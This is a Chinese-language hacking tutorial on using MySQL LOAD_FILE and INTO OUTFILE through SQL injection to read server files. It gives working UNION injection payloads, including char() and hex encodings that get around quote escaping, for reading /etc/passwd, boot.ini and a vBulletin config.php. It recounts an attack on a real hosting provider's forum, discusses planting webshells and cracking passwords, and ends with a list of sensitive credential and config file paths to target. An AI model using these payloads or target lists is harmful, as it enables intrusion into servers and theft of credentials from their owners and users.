mysql LOAD_FILE 在数据库注入中的使用

作者:袖梨 2022-11-14


LOAD_FILE 函数只有满足以下2个条件就可以使用

1.文件权限: chmod a+r pathtofile
2.文件大小: 必须小于max_allowed_packet

下面使用LOAD_FILE就可以获取到系统敏感信息

SELECT LOAD_FILE( 'D:/xampp/htdocs/www/wanju/htaccess.txt' )

SELECT LOAD_FILE('/etc/hosts')


 看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:

1、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权了。
  
  2、欲读取文件必须在服务器上

  3、必须指定文件完整的路径

  4、欲读取文件必须小于 max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

  在实际的注入中,我们有两个难点需要解决:
  

  绝对物理路径

  构造有效的畸形语句

  在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。   

  利用

  我们假设一个程序的SQL语句如下:   

  SELECT * FROM article WHERE articleid=$id

  注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。

  此时,我们构造$id为:   

  -1 union select 1,1,1,1,load_file('c:/boot.ini')

  我们的Query就变成:
  

  SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。

  注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。

  我们构造$id为:   

  -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:
  

  SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

  我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:   

  SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

  比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。   

  SELECT load_file([string])

  当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。   

  实例

  www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。

  这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:   

  // get rid of slashes in get / post / cookie data

  function stripslashesarray (&$arr) {

    while (list($key,$val)=each($arr)) {

      if ($key!="templatesused" and $key!="argc" and $key!="argv") {

        if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {

          $arr["$key"] = stripslashes($val);

        } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) {

          $arr["$key"] = stripslashesarray($val);

        }

      }

    }

    return $arr;

  }

  if (get_magic_quotes_gpc() and is_array($GLOBALS)) {

    if (isset($attachment)) {

      $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);

    }

    if (isset($avatarfile)) {

      $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);

    }

    $GLOBALS = stripslashesarray($GLOBALS);

  }

  

  set_magic_quotes_runtime(0);

  

  这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。

  我们知道,提交:
  

  /calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1

  是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。

  因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:   

  WEB绝对路径:/home/4ngel

  可写目录路径:/home/4ngel/soft/

  magic_quotes_gpc = on

  和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。

  VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:
  

  calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:
  

  calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd转换成ASCII代码,提交:

  

  calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到论坛的顶部,会出现下面的错误提示:
  

  Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  经验告诉我们,文件导出成功了,提交:   

  http://www.xxxhost.cn/soft/cfg.txt

  http://www.xxxhost.cn/soft/etcpwd.txt

  内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示密码,欺骗,登陆后台,上传后门,读取config.php,一连串的步骤,我一个load_file()就搞定了。是不是危害很大?

  我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的。用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,远程连接,写数据库导出文件,很容易获得服务器admin。   

  后记 :
关于MYSQL into outfile注射
其实网上已经有很多关于mysql注射的文章了~ 不过还是缺乏重点吧~ 要使用 into outfile 把代码写到web目录取得WEBSHELL
首先需要 3大先天条件

①知道物理路径(into outfile '物理路径') 这样才能写对目录

②能够使用union (也就是说需要MYSQL3以上的版本)

③对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)

后天条件就要2个

①就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)

②对web目录有写权限MS 的系统就不说了一般都会有权限的~但是*nix 的系统嘛!通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作 所以嘛... 要满足这5大条件还是蛮高难度的

Mysql的loadfile()常见用法

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:APACHEApache2confhttpd.conf

9、C:Program Filesmysqlmy.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径

11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release 红帽子的系统版本

19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5/lib/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini

24、c:windowsmy.ini

相关文章

精彩推荐